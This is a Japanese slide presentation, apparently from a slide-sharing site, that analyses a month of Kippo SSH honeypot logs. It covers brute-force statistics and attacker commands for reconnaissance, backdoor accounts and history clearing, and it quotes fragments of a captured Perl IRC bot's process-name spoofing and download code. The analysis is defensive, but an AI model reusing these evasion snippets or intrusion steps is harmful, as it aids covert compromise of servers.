Upload
abendcve99990001
View
1.354
Download
5
Embed Size (px)
Citation preview
ハニーポットでみる攻撃手法
特に結論はありません
自己紹介
Twitter: abend@number3to4
ただのセキュリティエンジニア( Webセキュリティがメインです)
ハニーポットって
囮として、やってきた攻撃者の動作などを観察するためのもの
あほ面のクマをとらえることができる。
Kippoって 1
Kippoって、 pythonで書かれたもので SSHをシミュレートしたハニーポットで、簡単に言うと
SSHサービスのふりをした別なもの。
Kippoって 2
Kippoはシミュレートできるコマンドは限られており、 rootでは稼働できないようになっている。
閉じられた世界で実行するようになっているので、他への影響が少ない。
問題があってもアクセスできないので、リスクは少ないw
今日の目的
今日は logにあった攻撃ログを読み返してみることで、防御に役立てることを目的に、どんな攻撃があったのかを紹介します。※本当に役立つかは別問題。
Kippoを動かし始めた 2014/1/3から現在までのログです。ログイン可能なユーザは rootで、パスワードは 123456( defaultのまま)
本内容は自身の管理外の環境に対して、実施しないでください。
約 1か月間で 583回(ユニークな IPは 253)ログインが成功しているが、下記 2点による影響と思われる。・ rootでのログイン許可・脆弱なパスワードを設定
まじめな分析
116.10.XXX.XXXは、複数日にわたりアクセス(計 18回ログインに成功)しているが、 root/adminを試行した後に root/123456でログインに成功しており、ログイン後、 sftpを起動しようとしてエラーで終了を繰り返しているため、ツールや bot的なものであると思われる。
認証の失敗回数は、 97,980回。最大回数は 4,714回で、試行しているクレデンシャルは、辞書登録されているような文字列だった。
どこから攻撃を受けているのか
多くが中国からでした。
ログイン試行に関して
ほとんどが rootでのログイン試行だった。
「 admin」、「 123456」など定番なもの。「 !QAZ@WSX」が上位に含まれているが、 USキーボードだもんね。
ユーザ名 パスワード
盗撮 1
Kippoには、攻撃者の動作を記録し、再生できる機能がある。
攻撃者の typoも見逃すことがない。
app-get install poerlの後の app-get installperlがアツい。
盗撮 2
攻撃者はいったいどんなことをしていたのか。大別すると 3つに分類される。
② バックドアを仕込む・ adduser .bash・各種バックドアの仕込み
① 情報収集・ uname –a・ ifconfig・ cat /proc/cpuinfo
③ 侵入痕跡を残さないようにする・ unset HISTLOG・バックドアの残骸の削除やフォルダ名の頭に .(ドット )つける
盗撮 3
① 100Mのファイルを wgetして、通信速度の計測
攻撃者の中でも、何をしたかったのかよく分からない人たちもいました。
盗撮 4
② Linuxサーバで WinSP2のサービスパックを wgetして終わり 何をしたかったのか分からない。
別な何かと戦っているのかもしれない。
盗撮 5
③ 展開してないから wget htt://xxxx.ru/xxx.tar.gz cd xxx.tar.gz
cdできないなんて。なんて、無力な存在なんだ。
置き土産
攻撃者がバックドアを仕込むために、外部のサイトから wgetした土産を置いていってくれました。
HackTool.Linux.Sshscan.bDoS.Perl.BBDoS.cnot-a-virus:NetTool.Unix.Mech.aHackTool.Linux.Shark.aBackdoor.Perl.Shellbot.sHackTool.Linux.WuScan.b
※Kasperskyでの検知名
その中の 1つピックアップして紹介します。
IRC bot1
ゲットした IRC botを VirusTotalに放り込むと
IRC bot2
攻撃者は IRC Serverを介して、被害者の端末を操作できるもので、ロシアの IRC Serverがセットされていた。
実行プロセス名の偽装
my @fakeps = ("/usr/local/apache/bin/httpd -DSSL", "/usr/sbin/httpd -k start -DSSL", "/usr/sbin/httpd", "spamd child", "httpd");my $xproc = $fakeps[rand scalar @fakeps];$0="$xproc"."\0";
IRCに接続するユーザ名もランダムで選択するようになっていた。
IRC bot3
Proxyも対応しており、いろいろな環境で動作できるように作られている。
grep {(lc($_) eq "http_proxy") && ($proxy = $ENV{$_})} keys %ENV; if (($proxy eq "") && $url =~ m,^http://([^/:]+)(?::(\d+))?(/\S*)?$,) { my $host = $1; my $port = $2 || 80; my $path = $3; $path = "/" unless defined($path); return _trivial_http_get($host, $port, $path); } elsif ($proxy =~ m,^http://([^/:]+):(\d+)(/\S*)?$,) { my $host = $1; my $port = $2; my $path = $url; return _trivial_http_get($host, $port, $path);
ただし、 HTTPSに対応していない。
IRC bot4
Talkでコマンドを送ると、レスポンスを話してくれる。
ただし、 HTTPSに対応していない。
特別なことではありませんが。。。
・ rootでのログインは許可しちゃだめ。・パスワードは安易な文字列にしちゃだめ。・アカウントの改廃は適宜行おう。→ root以外にも試行されるかもしれないので。
まとめ
IRC botだって、使い方間違わなければ、効率化に利用できるはず。
たとえば、 DDoS 何かあるはず、きっと。